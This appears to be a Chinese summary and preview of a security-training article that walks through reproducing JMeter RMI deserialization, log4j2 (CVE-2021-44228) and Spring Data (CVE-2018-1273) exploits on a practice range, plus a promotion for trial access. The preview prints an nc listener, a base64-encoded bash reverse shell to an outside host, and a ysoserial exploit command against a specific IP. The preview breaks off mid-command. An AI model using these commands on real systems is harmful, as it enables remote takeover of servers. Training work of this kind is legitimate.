主要观点总结
文章主要介绍了网络安全技能培训相关的内容，涉及多个安全漏洞的复现和攻击方法，包括JMeter RMI反序列化命令执行漏洞、log4j2远程代码执行漏洞（CVE-2021-44228）和Spring数据执行漏洞（CVE-2018-1273）等。
关键观点总结
关键观点1: JMeter RMI反序列化命令执行漏洞介绍
文章中介绍了Apache JMeter中存在的反序列化漏洞，攻击者可以利用该漏洞在目标服务器上执行任意命令。
关键观点2: log4j2远程代码执行漏洞（CVE-2021-44228）
详细描述了log4j2漏洞的原因、适用版本、利用工具及攻击过程，强调了日志框架的安全问题。
关键观点3: Spring数据执行漏洞（CVE-2018-1273）
介绍了SpringData框架中存在的SpEL表达式注入漏洞，攻击者可利用此漏洞执行任意命令。文章还描述了如何利用该漏洞进行攻击的过程。
关键观点4: 网络安全技能培训的福利环节
关注公众号、转发文章并留言互动有机会获得靶场试用名额，文章还提供了线上地址和交流群信息。
文章预览
Taoing “ Ms08067 专注网络安全技能培训 | 竞赛 ！ “ 号外号外，"Ms08067练武场" 最强劲的第三批选手打靶思路来啦。 官网链接 ：http://attck.ms08067.com/ Jmeter RMI 反序列化命令执行漏洞 简介： Apache JMeter是美国阿帕奇（Apache）软件基金会的一套使用Java语言编写的用于 压力测试 和性能测 试的 开源 软件。其2.x版本和3.x版本中存在 反序列化 漏洞，攻击者可以利用该漏洞在目标服务器上执行 任意命令 。 复现 利用ysoserial工具 https://gitcode.com/gh_mirrors/ys/ysoserial/overview?utm_source=highlight_word_gitcode =ysoserial 先在自己的vps起个监听 nc -lvvp 7777 然后将反弹shell命令加密 bash -c { echo ,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=} |{base64,- d} |{bash,-i} 最后利用ysoserial工具直接执行 java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 27.25.151.24 20999 BeanShell1 'bash -c {echo,YmFzaCAtaS
………………………………
